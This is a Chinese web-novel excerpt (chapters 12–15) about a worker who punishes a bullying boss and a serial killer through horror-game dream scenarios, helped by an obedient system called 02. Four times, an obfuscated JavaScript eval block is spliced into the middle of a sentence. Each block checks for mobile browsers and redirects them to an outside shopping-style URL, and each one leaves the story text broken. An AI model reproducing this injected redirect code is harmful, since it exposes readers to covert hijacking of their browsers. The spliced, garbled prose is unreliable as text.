“这次在他身上收获的恐惧值终于到800了。”叶溟注视着这场戏剧落幕,看着收获新鲜到账的恐惧值,语气却有一丝不满。 因为高俊杰根本就没有撑到她精心设计好的酷刑,就先把自己吓死了。 “难道恐惧值爆满之后,目标居然会被吓死吗?真有意思。” 嘴里说着很有意思,事实上她却有点兴致缺缺。 明明只是她梦里用来发泄的工具人罢了,只要在长相和性格上接近现实中的真人,让她更有代入的爽感就行了,有必要在生理方面也这么真实吗? 这么说起来的话,直接把梦里的这些npc设定成外表真实,但实际上怎么杀都杀不死非常耐揍的人形沙包就行了。 她可以在他们身上挨个施展酷刑,玩够了再杀掉。 可这样一来的话,跟她定制了一个仇人的人形抱枕,每天拳击泄愤有什么区别? 一点虐到了人的真实感都没有,简直就是纯心理安慰。 这么一想,叶溟觉得还是让他们各方面都更接近真实的活人比较好,她代入起来更爽。 “审判者大人。”02的声音在耳边响起。 叶溟有点惊讶。 毕竟这个系统勉强算一个合格的工具,平时除了给她展示介绍功能之外,几乎不会主动跟她交流。 她也乐意如此。 这里是她的梦境,不需要任何人随意插嘴——哪怕是设定上用来辅佐她的系统也一样。 不过02合格的辅佐功能让她多了几分宽容,所以现在倒也没有不悦,只是示意它赶紧说到底有什么事。 “我只是有点好奇,您为什么要设定那个npc组员帮助目标呢?” 02从来不会称呼那些被她折腾的npc的名字,只会将他们称为目标。 叶溟本来觉得听归听,自己没有义务回答系统的问题,但是听到这个却有点来劲了。 没有一个策划能够忍住不向别人滔滔不绝地阐释自己绝妙的设计思路。 “当然是为了更符合‘审判’的主题啊。” 一开始她设计这些副本的目的只是为了出气,但是后来,随着02的出现,对着她一口一个“审判者大人”,叶溟的心态也渐渐发生了微妙的变化。 只是纯虐有什么意思呢? 她都能像上帝一样肆意操纵她的世界,构筑任何她想要的副本了,当然也可以像古老传说中神明审判有罪之人那样,进行真正的审判。 无论是在神话传说中,还是在她曾经玩过的恐怖游戏中,面对罪人的审判都会大致上存在两条路线,一条通向救赎(HE),一条则通向地狱(BE)。 于是叶溟在加班夜惊魂中设置了这个组员npc,朝高俊杰递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482692|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一个会影响副本进程的关键选项—— 是老老实实接受组员的帮助,认真学习工作,还是因为对方的老实而选择欺压对方,帮自己完成任务? 公司有明文规定,像她们这种流水间员工只能自己完成自己的任务量,绝不能找别人代工。 但是叶溟早就发现,所谓的规矩只是用来约束无依无靠的底层员工的。 所以高俊杰能理直气壮地将自己的任务丢给她来做,她的拒绝换来的结果就是遭到打压,以及被安排更繁重的任务。 但是在副本里,他也只是被规则约束的一员。 一旦他如同现实中那样做出违规的事情,他就会顺理成章地受到惩罚—— 这次她在众多死法中纠结了许久,最终设定的死法是被boss经理咬碎了吞下去。 听完她得意阐释自己的小巧思设计之后,02沉默许久,忽然问道:“我还有一个问题—— “如果审判目标并没有选择要求npc帮自己完成任务,而是老老实实进行学习,审判者大人真的会放过他,让他达成所谓的‘HE’吗?” “你的问题怎么那么多。”叶溟很想弹它个脑蹦子,可惜02似乎跟自己一样只有意识没有实体,均匀地分散在这片空间里。 不过她还是懒洋洋地回答:“如果他真的肯老实一点的话,当然不会落得这种结局。不过……” 她似乎想起了什么好笑的事情,声音透露出掩饰不住的恶劣愉悦。 “像他那种连最基础的代码都分不清的蠢货,就算再怎么学习,也不可能在规定时间内完成任务的吧?” 所以不管他到底是洗心革面还是被副本吓到了想老实点,就算他真的选择跟着组员进行学习也是没用的。 除非他突然打通了任督二脉,学习能力强化100倍,否则绝无可能完成任务,最后还是会走向BE。 说着说着,她来了兴致,笑道:“02,我们去看看另一边的情况吧。 “比起这边,我可是在另一边放下了真正的‘救赎’呢。” 02是个非常老实的工具系统,只提供自己强大的功能,从来不干涉审判者大人的决定,甚至在审判者大人老有兴致捏造副本的时候也没有窥探一丝一毫。 所以它还真不知道叶溟今天给庞勇设计的副本是什么样,闻言有些诧异,还有点替她打抱不平。 “您确定要轻易放过第1个审判目标庞勇吗?他当时想要杀了您。” 要是02不说,叶溟都要忘记这事了。 她直到现在对自己被连环杀手盯上了都没有什么真实感,生活也没受到影响。 而且02入戏也太深了,庞勇只是在她潜意识中根据之前擦肩而过的那个黑兜帽男的形象,捏造出来的一个虚假杀人魔而已,现实世界中的那个犯下三起案件的连环杀手还不知道是不是他呢。 它这打抱不平的语气,简直就像对方是真的一样。 不过叶溟也乐意配合。 “没事,如果他选择了HE,最后我为他安排的结局是去治安局自首。如果他选择了BE……” 那就在噩梦里待一辈子吧。 12. 第12只社畜 02对审判者大人居然愿意给予想要杀害她的坏蛋救赎的道路十分不满。 它模模糊糊记得,似乎有人曾经告诫过它,对敌人仁慈就是在自断后路,对付敌人就是要将他们逼入绝境,斩断所有后路。 所以它暗自下定决心,不管第1个目标最后选择了哪条道路,它都要让他的现实中只有一条路可走—— 去死……不,是乖乖进局子。 它的cpu好像卡了一下,但很快又开始流畅运转了。 它甚至觉得自己刚才第一时间产生的想法有点奇怪,作为一个为审判者大人服务的遵纪守法好系统,它怎么会产生这么可怕的想法呢? 02不再勉强自己过载的cpu进行运算,而是和叶溟一起将视线投向了庞勇所在的副本—— 祭奠之屋。 庞勇已经在2楼站了很久了。 他两股战战,根本就不敢再和之前一样莽撞地推开面前这两扇铁门。 201、202。 不管推开哪一扇门,他都会死的……门后面的那些邪门的玩意不会放过他的! 但是一直待在这段诡异的楼道里,就是正确的选择了吗? 不管他往上还是往下,他都会回到这该死的2楼。 看上去破破烂烂的窗户,实则会在他敲上去的那一刻变得坚不可摧,他就算想跳楼逃生也没用。 为了逃离这里,他甚至尝试过从楼梯交错中间的间隙跳下去。 哪怕下面黑不见底,哪怕他一路坠到无底深渊,只要能脱离现在的困境,他也认了。 然而,现实却是—— 他一屁股坐在地上,在一片天旋地转中缓缓睁开眼睛,发现自己依旧坐在2楼的阶梯上。 见鬼的2楼。 他已经有点绝望了,索性就一直坐在台阶上,心想这次自己无论发生什么都坚决不会打开任何一扇房门总行了吧? 但是叶溟怎么可能让他就这样坐在这里发呆呢? 演员在台上发呆,那她这个观众看什么? 于是叶溟作为一个能够随时对副本程序进行修改的邪恶程序员,只是对自己的副本输入了一个想法,就成功驱动了待在201里的npc—— 吱呀。 铁门发出刺耳的声音,被缓缓从里面打开了。 庞勇被吓得跳了起来,差点脚一崴,直接从阶梯上滚下来。 他怎么也没有想到,自己不主动开门门,居然还会主动打开……不对,这都是套路! 之前不就是门主动打开了,这才把他勾进这个诡异的地方,害他着了道不说还被这鬼地方缠上了吗? 庞勇立刻就想下楼,但是他却知道自己不管下几楼最后都会回到2楼的。 心中的绝望在不断蔓延,庞勇甚至开始暗自懊恼,自己怎么就非要找高俊杰那个不靠谱的家伙商量呢? 既然都已经确定缠上自己的东西肯定和那三个小崽子有关,那他就应该早点去治安局自首啊!他都自首了,多少能令对方消消气吧? 而且退一万步来说,他在治安局的拘留室里总不会那么容易被幕后整他的人带走了吧? 就在他一边懊恼一边准备飞快下楼先躲一躲的时候,201半开的大门里面竟然传来了一道陌生女子的说话声。 “庞先生,您也是来参加孩子们的祭奠仪式的吗?” 庞勇愣了一下,没有感觉到威胁,反倒感觉到了自己最熟悉的,属于他能轻易狩猎的柔弱猎物的气息。 他下意识扭头,发现从201后面看出头来的女人看起来有点年纪了,头发被一丝不苟地盘在脑后。 她的身上还穿着一种非常古怪下摆长到快拖地的黄衣服。 庞勇没什么见识,如果是高俊杰在这里的话就会意识到,这应该是几百年前的道士袍之类的衣服,总之就是跟神神鬼鬼有关的人穿的衣服—— 当然,在科技如此发达的如今,已经没有人会相信这个世界上还有神或者鬼了。 那是认知愚昧或者求而不得的人才会有的精神寄托。 其实,亲手打造了做法事的npc的叶溟也不太信这个。 她只是想起来自己以前玩的恐怖游戏里面,有一些会设置一个懂驱魔驱鬼的npc,这样更方便推副本推主线,还能塑造有意思的反转和恐怖氛围。 至于什么神神鬼鬼……如果这世上有鬼的话,还用得着他在这里惩罚恶人吗? 如果这世上有神的话,那现在操纵一切的她可不就是这个世界的神。 叶溟在这里略微出神了一小会儿,而与此同时,副本里的庞勇已经怀着戒备跟女人聊起来了。 和一开始的高俊杰一样,在这里遭遇过难以想象的恐怖事件的庞勇也不太相信这女人会是正常人。 但事实证明,叶溟仔细捏成和真人几乎一模一样的新npc还是很有用的,在聊天过程中,庞勇又因为对方过于正常的表现而逐渐松懈了一点。 他打探到了很多情报。比如这个女人自称张姓神婆——都什么时代了,庞勇一律归为邪/教分子——是被贫民窟杀人魔手下的三名未成年受害者的家长请来做法事的。 “那三个孩子被那样残忍地杀害,死无全尸,家里的大人希望我能给他们做场法事,净化他们的怨念。” 至于为什么是三个人一起办,实在是三户人家条件都不太好,索性每家都凑了点钱,让三个孩子在同一场祭奠仪式把法事做了。 由于贫民窟很少遇到这种新鲜事,因此这附近有不少居民都闻讯赶来参加祭奠仪式,张神婆来者不拒,说是活人的磁场能帮助净化怨气。 庞勇大概也被当成这附近来凑热闹的居民了。 没有人知道,被招呼着参加祭奠仪式的他就是杀死这三名少年的凶手。 庞勇胸口涌起了一阵莫名的感觉。 有某种说不出的快意在他的血管中奔涌,几乎让他有点控制不住杀意。 是了,就是这种感觉。 就是这种悄无声息结束了一条人命,但周围没有一个人知道的,仅属于他的优越感,驱使着他去犯下那些命案—— 并且在高俊杰主动找上他的时候答应参加杀戮俱乐部的入会考核。 他短暂失神了几秒又恢复清醒,意识到现在不是想这些的时候。 张神婆已经进屋了,门还开着,似乎在无声地邀请他进去。 他吞了吞口水,强行压下之前在这里差点死过一次的不安,犹豫片刻还是抬脚进去了。 无论这个诡异的地方到底发生了什么变化,毫无疑问,这种变化都一定是突破口。 也许……他能借这次机会,彻底摆脱这场过分真实的噩梦! 走进201的时候,庞勇全程提心吊胆,看到墙上就跟自己第1次进去时一样,挂着那么多受害者的遗照,更是一哆嗦。 不过这一次他并非独自一人,有张神婆在,而且房子里光线充足,倒是削减了一些阴森感。 值得一提的是,这里居然跟202一样,在客厅里摆了一个小祭台。 他恍惚间就好像回到了昨晚,看着供台上摆放着的三张黑白遗像,而张神婆则点燃了两支蜡烛,郑重地放在了台面两边。 “既然来了,就去拜一下吧。”点完蜡烛之后,张神婆起身走向里面的房间,中途似乎想起了什么,扭头冲他说了一句,这才离开了。 庞勇还没来得及反应过来,房门就被啪地一声关上了,看起来似乎一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482693|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点也不担心他会在外面捣乱……他也不敢就是了。 但他看了一眼供台前面摆着的那个小蒲团,仿佛又回想起昨晚被那股神秘力量强行摁跪在那里的无力和愤恨,也连连摇头。 太吓人了,他又不是傻子,他这个凶手跪在祭奠受害者的供台前不是找抽吗? 整个房间里,对他而言最危险的绝对就是供奉着受害者的那块地方了,他昨晚也是死在那里的。 回想起死亡的滋味,以及被迫给自己原本看不上眼的猎物下跪的无力,他搓了搓手上逐渐冒出来的鸡皮疙瘩,拼命摇头,坚决不肯靠近供台一步。 看到这一幕,叶溟非但没有生气,反而笑了。 “看来他似乎并不屑于得到救赎,更喜欢一条道走到黑呢。” 庞勇自然不知道自己已经做出了第一个错误的选择。 他只是觉得,周围怎么感觉越来越冷了。 最开始他起鸡皮疙瘩还以为是心里不舒服的原因,现在才意识到不知从什么时候起,客厅里的温度急剧下降,竟然让他在气温不断升高的季节感受到了寒意。 他想叫房间里的张神婆调控一下温度,刚要转身朝着房间的方向走去,却在转身的那一刹那看到有一张惨白的面孔正紧贴着自己—— “啊啊啊啊!” 他爆发出惨绝人寰的尖叫,手下意识地抄起了旁边的一个东西,朝面前可怕的怪物或者冤魂之类的东西砸了过去。 其实这时候他的心里没有任何的想法,只是在本能地进行攻击型防御,但潜意识里已经开始绝望了。 毕竟根据他昨晚挣扎的经验,这种手段怎么可能会对这些邪门的东西有用处呢? 然而令他意想不到的是,下一秒,他感到一阵耳鸣,随后眼前一花,那张惨白的面孔竟然消失了? 他愣了一下,随后赶紧看一下自己的手,发现他慌乱中随手拿的是之前堆放在一边的木头人偶。 他手里拿的是足有半人高的木偶,关节什么的都很粗糙,唯独脸被精心雕刻了一番,能隐约看出是个半大少年的样子。 庞勇看着有些微妙的面熟,忍不住抬头看了看墙上挂着的相片,这才意识到它的面貌被雕刻得跟其中一个受害者很相似。 墙角还堆了两个这样的木偶,不出意料,应该也被雕成了另外两个受害者的样子。 他顿时感觉渗得慌,比他曾经听闻某些有钱人特意定制跟自己死去的亲人或者爱人一模一样的机器偶还令人毛骨悚然。 他刚想将木偶丢回墙角,就听到身后传来张神婆不悦的声音:“你在做什么?这可是等会儿做法事的时候需要用到的重要道具。” 庞勇先是被这个走路没声的老女人吓了一跳,然后脑子里突然闪回了之前他用这个木偶一挥那玩意就消失了的场面,连忙询问。 “张神婆,可以告诉我这个东西具体有什么作用吗?” 张神婆意味深长地看了他一眼。 “这三个可怜的孩子死于非命,怨气难消,一直在这附近徘徊。于是我给他们做了三个替身人偶,只要等做完法事后烧掉,他们就能获得安息了。” 庞勇一心惦记着刚才袭击他的那个疑似冤魂的东西似乎被这木偶克制了的事情,就算平日里是不信鬼神的人,现在面对张神婆的说辞也不得不信了。 “这东西会对他们三个的亡魂有克制作用吗?” “当然,这三个木偶被我施了咒,已经相当于是他们的替身了。”张神婆微微皱眉,见他还拿着木偶,看上去已经有点急了。 “快把替身木偶放下,别磕着碰着了,会对那三个孩子造成伤害的。而且如果在我做完法事之前,木偶就被完全损毁了的话,他们就永远不得安息了!” 13. 第13只社畜 张神婆似乎在忙着做法事的前期准备,很快又回房间了,只是警告他不要到处乱摸,话语中俨然已经有了送客的意思了。 很快,客厅里又只剩下庞勇一个人了。 但他这次紧紧捏着手里的木偶,感受到了前所未有的安全感。 彻底摆脱了惊吓的余韵,理智逐渐回笼,他这才开始琢磨自己刚才打探到的信息。 替身木偶,超度冤魂。 就算庞勇从来没玩过恐怖灵异类的游戏,被喂了这么多线索之后也该意识到了,假如将自己现在的处境视为游戏,那么他已经拿到了关键道具。 只要他能一直撑到做完法事并烧掉木偶,那么那些惨死的冤魂就会得到安息,大概率不会再缠着他了。 但是庞勇对这个结果并不满意。 又或者说,在捕捉到张神婆某种微妙的言下之意后,他对另一种选择更感兴趣。 损坏木偶就等于在伤害亡魂?如果提前将木偶彻底毁掉,亡魂就会永远不得安息? 作为被这些莫名其妙的玩意折腾了三个晚上的苦主,他其实早就憋了一肚子的火了。 只是之前,生存的压迫和无法反抗的恐惧令他暂时无暇关注这些,只一门心思想着怎么让自己从这样糟糕的处境中摆脱出来。 但是现在,一旦得知自己有了可以再次将猎物踩在脚下还可以一劳永逸的机会,他就又开始蠢蠢欲动了。 等法事做完之后受害者安息?开什么玩笑? 对方摆明了对自己这个凶手非常怨恨,不仅每晚都要把他拉进这个古怪的地方接受折磨,而且只要一有机会就会袭击他。 如果不是他运气好,抓到了这个替身木偶,搞不好他就又要被弄死一次了! 自从昨晚死过一次后,庞勇的心里其实一直都被恐惧折磨着。 在这里死亡的感觉实在是太真实了,他几乎不敢想象自己还能有再睁开眼睛的机会。 但是成功回到现实之后,他却依旧感到惶惶不可终日。 对方显然手眼通天,就连高俊杰那样在他看来算是个大人物的都被玩弄于鼓掌之中,就更别提他了,碾死他恐怕并不比碾死一只蚂蚁更麻烦。 所以,万一对方玩腻了,想让他真的死掉了,那该怎么办? 庞勇的手在不知不觉中越发捏紧了木偶纤细的脖颈。 他注意到,对应着这只木偶的黑白遗照上,少年脸上的表情在逐渐扭曲,似乎感受到了窒息的痛苦。 庞勇心里涌现一阵扭曲的快意。 之前把他弄得这么狼狈的鬼东西,现在终于被自己掐住命门了。 与此同时,心中原本模糊的想法也越发清晰起来—— 不管是冤魂索命还是别的什么,他都要让这三个该死的小鬼付出代价。 他从茶几上抄起一把水果刀,满怀恶意地在木偶的脸上划了一下,满意地看到遗像中少年白净的脸上也多了一道格格不入的血痕。 对,就是这样。 这三个该死的小鬼,死了还想不让他安生,没想到还是落到他手上了吧? 活着的时候也只能任他宰割,难道以为死了之后就能地位颠倒了吗? 他随意将手上的木偶如同抛垃圾般抛到一边,拎着水果刀,一步步走向墙角的另外两具木偶。 在确定伤害木偶确实可以对死者的冤魂造成同等的伤害之后,庞勇之前如惊弓之鸟般的神态一扫而空,之前每一次杀死猎物时扭曲的自信在胸口澎湃。 已经没有什么好怕的了。现在,他才是掌握主导权的那个人。 他要用残忍的手段肢解这几只木偶,让他们再体验一回死前的恐惧。 说起来,死者不甘徘徊的亡魂还能再死一次吗? 之前张神婆说过,如果在做法事之前就彻底摧毁木偶——比如将它们砍成碎片或者直接烧掉的话——死者就永不得安息。 再结合他目前的实验,伤害木偶的哪个部位就会让死者受到同等的伤害,以及自从他摸到木偶之后,那些东西就明显对他颇为忌惮,甚至都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482694|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢再现身了…… 庞勇咧嘴,笑了。 “只要毁掉这堆木头,你们就得再死一次了,对吧?” 这里一时半会儿找不到能打火的东西,而且太多木质家具了,他也有点担心,万一把整间屋子都烧着了,他也会被困火场。 于是他亮出了藏在义体内部的粒子切割刀,声音带着一丝大仇得报的快意。 “去死吧!你们这堆垃圾!” 他会把这三具木偶一点点切割成上百块小零件,让那三个小贱货感受比上次死亡的时候更彻底的肢解! “他完蛋了。”虚空中,02冷淡地做出对庞勇自寻死路的点评。 “我不明白,目标为什么都喜欢自作主张,选择那个违规的选项——明明审判者大人您给的提示已经那么明显了。” 加班夜惊魂,高俊杰只要老老实实学习怎么更快上手工作,未必没有机会通关,但他偏要选择让别人给自己代工。 祭奠之屋,明明庞勇只要主动跪下来给死在他手里的冤魂赔罪,就不会触发第1波攻击,只要听张神婆的老老实实等到祭奠仪式结束烧掉木偶…… 但他偏要选择提前摧毁木偶,断送亡魂被超度的机会。 02对于他们两个不约而同地选择了地狱路线感到困惑。 叶溟无声地笑了。 “选择作恶的人是会产生路径依赖的。就好像高俊杰第1次通过让别人给自己代工作弊获得了晋升,他之后不管干什么都总会想到作弊一样,庞勇在得到了逆转局势的机会之后,当然也会第一时间想要彻底摧毁让他如此狼狈的存在。况且……” 她作为幕后操纵一切者,故意让他们产生了“我这样做好像也不会付出代价还能通关”的错觉。 这也算是一个思维误区了吧,当人处于绝对弱势的地位的时候,他们总是会觉得碾压自己的强者没有必要耍心眼子,不会使用演戏误导之类的手段。 然而,叶溟作为梦境限定乐子人,非常乐意给每个需要审判的目标上一课。 14. 第14只社畜 庞勇跪坐在满地的木头屑子之中,眼珠不知何时已经布满了血丝。 他坐在地上发了几秒的呆,突然笑了一声。 “终于解决了……”想要复仇的亡魂们,再一次死在了他的手中。 他忍不住发出嗬嗬的笑声,沉浸在自己又一次战胜了理应被他踩在脚下的猎物的喜悦中。 遗照上,三名受害者似乎都已经恢复正常了,不管怎么看就是普通的相片,再也没有了之前种种诡谲的异像。 但就在这时,一直紧闭的房门打开了。 张神婆从里面走了出来,看到庞勇和满地的木头碎屑之后,露出了震惊的神色。 “……你知道自己在做什么吗?为什么要做出这种事?!” “我知道啊。”庞勇的目光变得阴冷起来。 此刻,他几乎已经忘记了自己正身处不知道什么鬼地方,并且他杀的是不知道还有没有公民权利的鬼,在心里阴冷地盘算着一定要把这个多嘴的目击者给灭口了。 “我把这三个碍事的小鬼杀掉了,再一次地。以后,他们就再也不能妨碍我——” 他的话音戛然而止。 一双冰凉的手,不知何时已经抚上他的脖颈,轻轻地拢住了。 这不像是掐人的力道,也无法带来什么威胁,但是这双手实在太过冰冷,顺着他的脖颈一路凉到了心口。 庞勇没有回头。 他全身都开始发颤。 “怎、怎么会……” 第2双手揪住了他的右臂,冰凉的指尖越发用力,几乎快要掐进他的肉里。 “唉。”张神婆摇了摇头,看着表情逐渐惊恐到极致的庞勇,神情说不上是了然还是某种居高临下的怜悯。 “已经死去的人,怎么可能再死掉第2次呢?” 第三双手慢慢地摸上了他的脚踝。 庞勇已经从这个不妙的站位隐约意识到了什么,几乎快要崩溃了。 本以为已经稳操胜券,却突然之间跌入地狱,他的大脑几乎失去了思考的能力,只能顺着张神婆的话想下去。 已经死去的人,不能死去第2次?这是什么意思?明明她之前不是这样说的—— 等一下。 她什么时候说过,在做法事之前摧毁替身木偶就能杀死鬼魂了? 她当时对自己说的分明是—— “如果在我做完法事之前,木偶就被完全损毁了的话,他们就永远不得安息了。” 张神婆低声将自己之前说过的话又重复了一遍。 庞勇眼中的血丝越来越多,显然也从自己现在不妙的处境中意识到了真正的言下之意。 是啊,他怎么就没有早点想到呢?是被自己伤害木偶时亡魂体现出的痛苦和自身感受到了扭曲的快乐麻痹了吗? 不得安息的亡魂会做什么呢? 当然是—— 找到害得他们死于非命又不得安息的罪魁祸首,让他也一同体验他们的痛苦啊! 在他充分意识到自己面对的是怎样的绝境之后,耳边似乎响起了若有若无的冷笑声。 紧接着,分别握住他的脖颈、胳膊和脚踝的三双手同时发力了。 噗。 伴随着什么东西被蛮力拉扯断的声音,四分五裂的他倒在了血泊中。 “又四分五裂了啊。”叶溟的语气听起来像是在惋惜。 “虽然是不同的BE路线,却是相同的死法,是不是在设计上有点太敷衍了呢?下次尝试点新的死法吧。”……很显然,她惋惜的地方有点不太对。 不过她目前唯一的助手02显然并不觉得自家审判者大人是个愉悦犯,只会助纣为虐。 “我拥有世界上最庞大的数据库。需要我为您搜索联邦古今100大酷刑吗?” “啊,给我看一下吧,不过只需要参考就行了。” 叶溟的眼睛在发亮。 她从今天依旧比较粗糙,但已经初具审判流程的副本里体验到了比之前更加餍足的快乐。 “毕竟,重要的不是弄死目标,而是‘审判’啊。” 02又沉默了一小会儿,似乎正在计算自己目前可解锁的用来服务审判者大人的功能。 “您目前所拥有的恐惧值共计3600,是否花费其中3000解锁新功能?” “新功能有什么用处吗?” 叶溟本来对梦境中获得的所谓的恐惧值兴致缺缺,毕竟这玩意儿又不是联邦币,听起来跟游戏中获得的金币差不多,还不能买皮肤。 但是听到恐惧值能花,她顿时就来了精神了,迅速意识到恐惧值似乎比自己想象中的更有用。 作为一个穷人,她对于任何需要从她的口袋里掏钱去购买的东西都有所防备。 而现在,恐惧值也有了类似货币的功能,她自然开始警醒,希望知道自己购买的东西的价值。 对此,02自然是给出了它的道理。 “新功能可以查看目标内心深处最在意的记忆,可以辅助您找到目标的心灵漏洞,进行真正的审判——” “!” 刚经历了一场简直堪称量身打造的审判的庞勇猛地从地板上坐了起来。 他的双眼还带着些许未完全散去的迷茫,这会儿甚至不确定自己是否清醒,但总之第一反应就是摸自己的右胳膊和脖颈,确定这些部位都还好好地待在自己身上。 确定自己还没有四分五裂,算是一个健全的人,他却没有松一口气,而是抑制不住地开始浑身颤抖。 好痛好痛好痛。 他就像真的经历了一次被四分五裂的酷刑又被拼起来了,那些被冰凉的鬼手拽过的部位都散发着阵阵隐痛。 谈不上非常痛苦,但是很折磨人。 而且,不知道是不是他的错觉,他总感觉比起上一次死亡,这一次残留的痛感好像更深了。 就好像噩梦正在变得越来越真实,在现实中留下的痕迹也越来越多。 如果继续这样下去的话,会不会有一天…… 他打了个寒颤,不敢再继续细想下去。 而且,目前还有一个更要命的问题—— “我……为什么会躺在地板上?” 因为实在太害怕了,结束跟高俊杰没有任何意义的谈话之后,他根本不敢一个人继续待在家里,叫了几个兄弟一起在外面喝酒,打算喝个通宵。 也算是殊途同归了,他跟高俊杰产生了差不多的想法—— 只要他保证自己一直不失去意识,并且处于人群之中,也许他就不会被带到那个鬼地方了呢? 但就目前来看,毫无疑问,他的侥幸心理落空了。 他甚至不知道自己的记忆是从什么时候开始混乱的,周围的场景从人声鼎沸热热闹闹的路边摊转到空无一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482695|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的楼道。 而等他死亡之后又回到了现实中自己家里,躺在冰冷的地板上…… 一切都如此自然。 一切都如此混乱。 那真的只是一场噩梦吗?但他为什么会在梦中拥有那么真实的感官甚至是痛觉? 而他现在所待着的现实,是真实的吗? 庞勇痛苦地捂着脑袋。 才过了三个晚上,他就感觉自己的精神都开始混乱了,如果继续这样下去的话,就算他不死也得疯掉! 绝望中,之前原本只是说出来威胁高俊杰帮忙的那个想法越发清醒。 不行,他这次真的得赶紧去自首! 什么万一得罪杀戮俱乐部该怎么办,现在都不是首要考虑的问题了。 毕竟俱乐部最多就是担心自己的信息被泄露或者恼羞成怒把他弄死,但是他现在可是生不如死啊! 早上8点,叶溟还坐在空轨上,面无表情,满脸都写着“我不想上班”。 不过在这么早的时间出现在空轨里的所有人基本上都这副表情,她混在其中显得毫不突出。 空轨所有能投屏的地方基本上都投放了光屏,上面播放着各种令人眼花缭乱的广告,时不时还会插播一些新闻。 “将于2207年举办的第107届联邦发展年会的主题已确定:公司主导世界变革……” “时隔八年,摩拉在帕林科技和康佳集团两大财阀的携手扶持下,经济快速发展,社会治安趋稳,已经走出恐/怖/袭击的阴影,再度摘下‘十大宜居文明城市’的桂冠……” “康佳旗下子公司的实验室发生爆炸,帕林发言人声称不对此事负责……” “近日于摩拉经济开发区且犯下三起凶杀案的连环杀手依旧在逃,民众质疑治安局敷衍破案,连环杀手的真实身份恐与公司有关……” “哈,公司狗又打起来了。” 叶溟听到身后有人嘲讽道。 虽然她现在也算底层公司狗,但她并不打算为上面的大人物发声。 突然,她原本漫无目的的目光一凝,穿过层层人群,看到了曾经与她擦肩而过的黑兜帽男。 按理来说只是一面之缘,她应该早就把人忘了,不至于让一个陌生人占据自己被生活压榨的宝贵脑容量。 但她实在是有些心虚,毕竟每天晚上都在梦里变着花样把人家当杀人犯整。 叶溟尽量让自己不要看向那边,尽管知道做梦是自己的事,又不会影响到别人,还是会有点尴尬。 好在对方在前面的站点就下空轨了,她这才松了口气。 午休的时候,叶溟脱离工作状态,莫名感觉今天的自己好像格外轻松。 注意到同事们聊天的时候提到了“高组长请假”,她这才意识到,这一上午高俊杰都没来公司。 这家伙虽然总是早退,但毕竟才刚上任组长没多久,到底不敢光明正大翘班。 他最起码早上还是会过来打个卡的,然后再顺便为难一下叶溟和其他组员。 不过高俊杰请假是一件有益于全组员工身心的好事,大家倒是都挺欢迎的。 叶溟掏出了自己的生命维持便当,正准备去加热,就见同事安娜自来熟地坐到了她旁边。 “叶,你知道吗?最近流窜在贫民窟那边作案的连环杀人犯终于落网了,还是他自己冲进治安局自首的!” 15. 第15只社畜 安娜本以为,听闻自己家附近的连环杀人犯落网,叶溟多少会表现出点不一样的情绪——比如松一口气。 但事实是她只是眨了眨眼睛,脸上的表情毫无波动。 “治安局成立专案组一周都没有告破的案件,嫌犯选择主动自首?嫌犯在梦里被感化了吗?还是治安局顶不住压力随便找了一个人屈打成招了?” 安娜似乎没想到叶溟会说出这么尖锐的话,愣了一下,随后耸了耸肩。 “你说的对。抓不到人就随便指个替罪羊可是治安局的老传统了,8年前他们还靠这一招拿了一等功呢。” 叶溟只是扯了扯嘴角,没继续接话。 安娜还在替她庆幸家附近这段时间的治安应该会变好,她却对此不置一词。 虽然从她得知自己从母亲那里继承了一处破破烂烂的小房产,再到为了省租金咬牙搬去住,总共也就半年的时间,但她已经充分体会到被称为摩拉贫民窟的经开区治安到底有多差了。 她每天下班回家都能看到有人在抢劫,几乎隔段时间就会感觉眼熟的面孔消失了一批,也不知道是死了还是逃了还是被骗去嘎腰子了。 